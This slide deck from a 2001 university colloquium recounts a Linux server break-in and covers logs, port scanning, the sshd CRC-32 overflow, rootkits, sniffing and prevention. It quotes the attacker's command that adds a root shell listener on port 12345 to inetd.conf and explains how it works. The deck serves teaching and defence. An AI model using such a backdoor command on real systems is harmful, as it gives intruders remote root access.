Hacker (noun): A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary.

Cracker (noun): A person who breaks security on a system. Coined ca.1985 by hackers in defense against journalistic misuse of hacker. Most crackers are only mediocre hackers.

Phreak (noun): 1. A person who uses the art and science of cracking the phone network (so as, for example, to make free long-distance calls). 2. By extension, a person who cracks security in any other context (especially, but not exclusively, on communications networks)


\[
\frac{\text{cracker}}{\text{hacker}} = \frac{\text{car jack}}{\text{car mechanic}}
\]
“Phreak, Out!” – A Hacker’s View of a Cracker

Mark Claypool
Let’s Hit the Road…

• You computer as a car
  – Keep in a parking garage
  – Drive for errands or fun
  – Key to operate, only you (and family)

• The cracker as a car-jack
  – Tries to first get into cars
  – May trick you into giving him the keys
  –Checks which doors are unlocked
  – Can jimmy some car doors open if locked
  – May watch where you hide the key and steal it
But My Car is my Castle…

• He’s in your car!
  – Rifle through your glove box, read your maps, steal your fuzzy dice
  – Maybe let the air out of your tires, radio
  – Ride around, watch where you drive
  – Examine other cars in detail you drive near
  – Commandeer your car, drive it where you don’t want it to go
  – Crash into a building or other cars!
Keeping your Car Safe…

• What to do?
  – Lock it up in a garage and never drive
    • Not too useful
  – Install a car alarm
    • But many ignore
  – Hire a guard named Bubba with the keys
    • But more of a pain to drive in and out
  – Use “The Club”, Anti-theft radio, …
    • Many are too lazy to put it on, take it off
My Qualifications

• Well, I’ve had my “car” jacked a few times
  – (Right …and being hit over the head makes someone an expert on criminal behavior)

• I know a bit about engines and car doors and hotwiring some kinds of cars
  – Teach OS
  – Linux since 1992 (v. 0.9)

• I’m a Professor, so I talk a lot
Outline

• You Computer as a Car  (done)
• Swimming in the Nile
  – Detection
  – Who and Why?
  – How?
  – What?
• The Cure
• Prevention
Something Starts to Smell Fishy ….

- Thursday, Nov 15th, 2001. 4:00 am….
- Programming
  - Edit file from saagar.wpi.edu
  - NFS mounted from nile.wpi.edu

claypool@saagar=>>emacs blah.c
claypool@saagar=>>make
make: Nothing to be done for “all”.

(What’s going on?)

claypool@nile=>>date
Fri Nov 15 10:46:39 EST 2001
Something Starts to Smell Fishy ....

• Nile uses NTPD
  – Synchronize clock to cs.wpi.edu

claypool@nile=>>grep ntpd /var/log/messages
Nov 15 0:22:47 nile ntpd[2446]: can't open
/etc/ntp/drift.TEMP: No such file or directory

• Restart NTDP, Reset date
• Back to work
Something Smells Fishy…

• November 15\textsuperscript{th}, 2001. 4:07 am....

From: Frank Posluszny <fspoz3@WPI.EDU>
Date: Thu, 15 Nov 2001 04:07:48 -0500 (EST)
To: Mark Claypool <claypool@cs.wpi.edu>
Subject: nile log off?

I was working last night when I was suddenly logged off of nile around midnight. I was able to log back in ok. I was wondering if there was some system process scheduled to go off at that time?

-frank p

• That’s odd … nothing scheduled
Something Smells Fishy…

• Maybe a power failure and reboot?

        claypool@nile=>>uptime
4:15am up 31 days, 11:16, 6 users, load average: 0.13, 0.15, 0.20

(What’s going on?)

• Time to open the log file!
Fish?

Nov 15 00:30:00 nile sshd[183]: log: Received SIGHUP; 
   restarting.

Nov 15 00:30:00 nile sshd[26006]: log: Server listening 
on port 22.

Nov 15 00:30:00 nile sshd[26006]: log: Generating 768 
   bit RSA key.
Fish, Fish, Fish!

Nov 15 00:24:23 nile sshd[25817]: log: Connection from 130.207.61.231 port 3008
Nov 15 00:24:23 nile sshd[25817]: log: reverse mapping checking gethostbyname for motserv1.mgt.gatech.ed.u failed - POSSIBLE BREAKIN ATTEMPT!
Nov 15 00:24:23 nile sshd[25818]: log: Connection from 130.207.61.231 port 3009
Nov 15 00:24:23 nile sshd[25818]: log: reverse mapping checking gethostbyname for motserv1.mgt.gatech.ed.u failed - POSSIBLE BREAKIN ATTEMPT!
Nov 15 00:25:05 nile sshd[25823]: log: Connection from 212.136.144.20 port 43392
Nov 15 00:25:07 nile sshd[25823]: log: ROOT LOGIN as 'z' from firewall.nizo.nl
Shark, Shark, Shark!

• Is the dude still there?

claypool@nile=>>who

z pts/3 Nov 15 00:25 (firewall.nizo.nl)
fspoz3 pts/1 Nov 15 00:30 (asuwish.res.wpi.net)
fspoz3 pts/2 Nov 15 01:17 (asuwish.res.wpi.net)
claypool pts/0 Nov 15 04:02 (pool.....verizon.net)

(What’s going on?)

• Time to pull the plug!

claypool@nile=>>sudo /sbin/shutdown now
Outline

• You Computer as a Car (done)
• Swimming in the Nile (done)
  – Detection ←
  – Who and Why?
  – How?
  – What?
• The Cure
• Prevention
Who is ‘z’?

- firewall.nizo.nl – in the Netherlands
  - www.nizo.nl does “Food Research”
- “Come and get it!”

Nov 15 00:27:08 nile sendmail[25903]: fAF5R8a25903: from=root, size=36, class=0, nrcpts=1, msgid=<200111150527. fAF5R8a25903@nile.wpi.edu>, relay=root@localhost
Nov 15 00:27:09 nile sendmail[25917]: fAF5R8a25903: to=rweller@mad.scientist.com, ctladdr=root (0/0), delay=00:00:01, xdelay=00:00:00, mailer=smtp, pri=120036, relay=smtp.wpi.edu. [130.215.24.62], dsn=2.0.0, stat=Sent (fAF5R9vb015656 Message accepted for delivery)
Who and Why?

- **“Script Kiddies”**
  - The cracker masses
  - Pre-packaged attack scripts
  - Often want publicity ("Bragging rights")
  - Serve up “warez” (pirated software, “warez d00dz”)

- **Moderate Skill**
  - Sharp in one type of OS
  - Discover vulnerabilities
  - Develop tools to exploit (for “kiddies”)

- **True Elite**
  - Seldom want publicity
  - Lurk in the background
  - Gather sensitive information
  - May “harden” your system for you, prevent others
Poking Fun at the Lamers

• Misspell frequently. Obligatory:
  – phone → fone and freak → phreak

• Substitute ‘z’s for ‘s’s:
  – codes → codez

• Substitute ‘0’ for ‘o’:
  – “l0zer” → “d00dz”

• Abbreviate compulsively:
  – “I got lotsa warez w/docs”

• Type random emphasis characters after a post line:
  – “Hey d00dz!#$#$!#$!”

• TYPE ALL IN CAPS LOCK, SO IT LOOKS LIKE YOU’RE YELLING ALL THE TIME

(The Jargon File:
Outline

• You Computer as a Car (done)

• Swimming in the Nile (done)
  – Detection (done)
  – Who and Why? (done)
  – How?
  – What?

• The Cure

• Prevention
Knock, Knock … Anybody Home?

...  
Nov 15 00:22:46 log: Connection from 130.207.61.231 port 2898  
Nov 15 00:22:46 log: Connection from 130.207.61.231 port 2899  
Nov 15 00:22:47 log: Connection from 130.207.61.231 port 2900  
Nov 15 00:22:47 log: Connection from 130.207.61.231 port 2901  
...

(What’s going on?)

• Port Scanning  
  – Look for server response on ports
Port Scanning

• Nmap (port scanning tool)
• Successful TCP handshake means available
  – But easy to detect
• Send FIN or ACK or URG packets to port
  – If get response, then open
  – Might not be logged
• Can use ‘bounce’ server to hide origin

Nov 15 00:24:23 Connection from 130.207.61.231 port 3008
Nov 15 00:24:23 Connection from 130.207.61.231 port 3009
Nov 15 00:25:05 Connection from 212.136.144.20 port 43392
Nov 15 00:25:07 log: ROOT LOGIN as 'z' from firewall.nizo.nl
More Than Just Port Scanning

• RFC’s define TCP during connection
  – But not on how TCP to respond to illegal data!

  SYN to open port
  NULL to open port
  SYN|FIN|URG|PSH to open port
  ACK to open port

  SYN to closed port
  ACK to closed port
  FIN|PSH|URG to closed
  UDP to closed

• Can identify over 500 operating system types!

• Then, lookup way to exploit:
  www.securify.com
  www.technotronic.com
  www.security.com
How Did He Get In?

• Overflow
  – secure login daemon (sshd, v. 1.2.27)

In 1998, the ssh-1 protocol was found to be vulnerable to an attack where arbitrary sequences could be inserted into the ssh-1 protocol layer... An integer overflow allows an attacker to overwrite arbitrary memory in the sshd process’ address space, which potentially results in a remote root compromise.

(http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm)

(Example next)
Stack the Deck

```c
void doIt(char *buf) {
    char p[3];
    strcpy(p, buf);
    return;
}
main() {
    char buf[3] = "Hi";
    doIt(buf);
}
```
Buffer Overflow

void doIt(char *buf) {
    char p[3];
    strcpy(p, buf);
    return;
}

main() {
    char buf[3]="Bite Me";
    doIt(buf);
}

Stack

SP  doIt local
    buf
    p
    Return Addr
    main local
    buf
    ...

detect_attack()

• Detects attack if checksums the same
• Variables ‘n’ and ‘l’ different sizes
• Allocates hash size based on length
• If ‘l’ really large, ‘n’ will be effectively 0
• xmalloc(0) can return NULL (SEGFAULT)
  – Or ‘h[]’ is pointer to zero sized object!
• ‘l’ is index to ‘h[]’
• h[i] = j; will write in counter value
  – Modify stack, memory, etc.
  – Later attacks can succeed
The Stack is Smashed

• Can force process to execute shell, commands
  /bin/sh –c "echo 12345 stream tcp nowait root /bin/sh sh –i" >> /etc/inetd.conf; killall –HUP inetd

  (What’s going on?)

• Exploit inetd

  → How does inetd work?
Starting System Services

- Ports → Addresses
- Server listens at pre-defined port (/etc/services)
  - Web 80, FTP 21, SSH 22
- What if seldom used?
  → inetd

- httpd
  - Port 80
- sendmail
  - Port 25
- ftpd
  - (if 21)
- fingerd
  - (if 79)
- inetd
  - Others
Inetd Configuration file

/etc/inetd.conf:

... 
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd 
smtp stream tcp nowait root /sbin/sendmail sendmail -bs 
...

- ftp → Service is named “ftp”
- stream tcp → a tcp stream connection
- nowait → don’t wait, so start a new server
- root → login as root
- in.ftpd → run in.ftpd (with itself as an arg)
The Stack is Smashed (Revisited)

/bin/sh –c “echo 12345 stream tcp nowait root /bin/sh sh –i” >> /etc/inetd.conf; killall –HUP inetd

- “/bin/sh –c” → run a command shell
- “echo” → type the following characters
- “12345 stream tcp nowait” → listen on port 12345
- “root’ → run as root
- “/bin/sh sh –i” → when connected, create a shell
- “>>” → concatenate to end of file
- “/etc/inetd.conf” → inetd configuration file
- “killall –HUP inetd” → reread configuration file

December 2001

WPI CS Colloquium
Now They Tell Me!

Update (12-06-01): There are at least three exploits being used in the wild for mass defacements of Linux systems. We urge all administrators to upgrade their SSH daemons as soon as possible...
Outline

• You Computer as a Car (done)
• Swimming in the Nile (done)
  – Detection (done)
  – Who and Why? (done)
  – How? (done)
  – What? (done)
• The Cure
• Prevention
A Gift from Troy

claypool@nile=>>ls -l /bin
...
-rwxr-xr-x 1 root root 9860 Jun 16 08:00 hostname*
-rwxr-xr-x 1 root root 8340 Jun 18 09:20 kill*
-rwxr-xr-x 1 root root 22208 Jun 18 08:01 ln*
-rwxr-xr-x 1 root root 67448 Jul 29 2000 loadkeys*
-rwxr-xr-x 1 root root 281720 Nov 18 00:37 login*
-rwxr-xr-x 1 root root 46652 Jun 18 08:01 ls*
...
(What’s going on?)

- “Trojan Horse” → capture passwords
- “Backdoor” → root login via username “rewt”
Sniff, Sniff

claypool@nile=>>ifconfig
eth0 Link encap:Ethernet HWaddr 00:01:02:6B:E7:E0
RX packets:123433519 errors:0 dropped:0 overruns:26409
TX packets:4767717 errors:0 dropped:0 overruns:0 carrier:119
collisions:552323 txqueuelen:100
RX bytes:1129388323 (1077.0 Mb) TX bytes:1200106249
Interrupt:9 Base address:0xe800

(What’s going on?)

• Promiscuous mode catches all data
What’s That I Smell?

claypool@nile=>>cat tcp.log

1Cust76.tnt2.minneapolis.mn.da.uu.net => nile.wpi.edu [23]

----- [FIN]

asuwish.res.WPI.NET => nile.wpi.edu [23]
<e<fq<fq !""
----- [Timed Out]

(What’s going on?)

• Capture (linsniffer) first few characters of each connection
  → maybe a password!
Covering His Tracks

• Putting in alternate versions of the utilities
  → Root Kit

(What’s going on?)
RootKits

• **Application-Level RootKits**
  – Attacker’s processes do not show up
    • Example: `top, ps` ...
  – Network hides information
    • Example: `netstat, ifconfig` ...
  – Can modify utilities so they look the same

```
rwxr-xr-x 1 root root 281720 Nov 18 00:37 login*
rwxr-xr-x 1 root root 26136 Jul 29 2000 login*
```
  • Timestamp, permissions
  • Size tougher. Checksum tougher.

• **Kernel-Level RootKits**
  – Operating system itself hides attacker
    • Example: modify `/proc entries` (project 3)
Exploits

• Goal:
  – Want root access on machine
• Remote exploit to gain any access
• Local exploit to gain root access
Password Cracking

- File with passwords: `/etc/passwd`
  root:`mbP1VvCdhv8kM:0:0:root:/root:/bin/bash`

- Technique
  - Pick word (dictionary, variations, common)
  - Encode
  - Compare to passwd entry
  - Repeat

- Can do offline!

- Once local, may get root!
Outline

• You Computer as a Car (done)
• Swimming in the Nile
  – Detection (done)
  – Who and Why? (done)
  – How? (done)
  – What? (done)
• The Cure
• Prevention
The Cure

• Kick off intruder
• Disconnect from network, analyze offline
  – Don’t bring back online until secure!
• Re-install
  – Replacing suspect binaries may not be enough (RootKit)
• “Witness Protection Program” for nile
  – Name change, (now congo.wpi.edu … shhh!)
  – Web service still on nile
An Ounce of Prevention is Worth a Pound of Cure

- Turn off unneeded services
- Remove unused accounts
- Firewall
- Use secure (encrypted) logins only
  - Sniffing won’t reveal passwords
- Good password management
  - Choose well (do a “man passwd”)
  - Change passwords frequently
  - Don’t use the same one for every system
- Upgrade
  - 5 patches per day!
- Monitor system
  - Log file
  - MD5 checksums
“Phreak, Out!” – A Hacker’s View of a Cracker

Mark Claypool